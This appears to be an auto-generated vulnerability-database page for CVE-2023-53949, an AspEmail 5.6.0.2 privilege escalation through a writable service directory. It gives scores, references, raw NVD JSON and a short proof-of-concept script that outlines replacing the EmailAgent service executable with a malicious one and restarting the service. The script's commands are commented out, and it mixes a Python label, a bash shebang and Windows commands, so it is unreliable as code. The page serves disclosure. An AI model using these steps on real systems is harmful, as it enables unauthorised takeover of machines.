Security Vulnerability Report
中文
CVE-2023-53949 CVSS 8.4 HIGH

CVE-2023-53949

Published: 2025-12-19 21:15:50
Last Modified: 2026-04-15 00:35:42

Description

AspEmail 5.6.0.2 contains a binary permission vulnerability that allows local users to escalate privileges through the Persits Software EmailAgent service. Attackers can exploit full write permissions in the BIN directory to replace the service executable and gain elevated system access.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AspEmail 5.6.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2023-53949 PoC - AspEmail Binary Permission Vulnerability # This PoC demonstrates the privilege escalation via binary replacement TARGET_DIR="C:\\Program Files\\AspEmail\\Bin" MALICIOUS_EXE="malicious.exe" BACKUP_EXE="EmailAgent.exe.bak" # Step 1: Check current permissions on BIN directory #icacls "$TARGET_DIR" # Step 2: Backup original executable #copy "$TARGET_DIR\\EmailAgent.exe" "$TARGET_DIR\\$BACKUP_EXE" # Step 3: Replace service executable with malicious payload #copy "$MALICIOUS_EXE" "$TARGET_DIR\\EmailAgent.exe" # Step 4: Restart the EmailAgent service to execute payload #net stop EmailAgent #net start EmailAgent echo "PoC for CVE-2023-53949" echo "Target: AspEmail 5.6.0.2 EmailAgent Service" echo "Attack: Binary replacement for privilege escalation"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53949", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:50.397", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AspEmail 5.6.0.2 contains a binary permission vulnerability that allows local users to escalate privileges through the Persits Software EmailAgent service. Attackers can exploit full write permissions in the BIN directory to replace the service executable and gain elevated system access."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://www.aspemail.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51380", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/aspemail-local-privilege-escalation-via-binary-permission-vulnerability", "source": "[email protected]"}]}}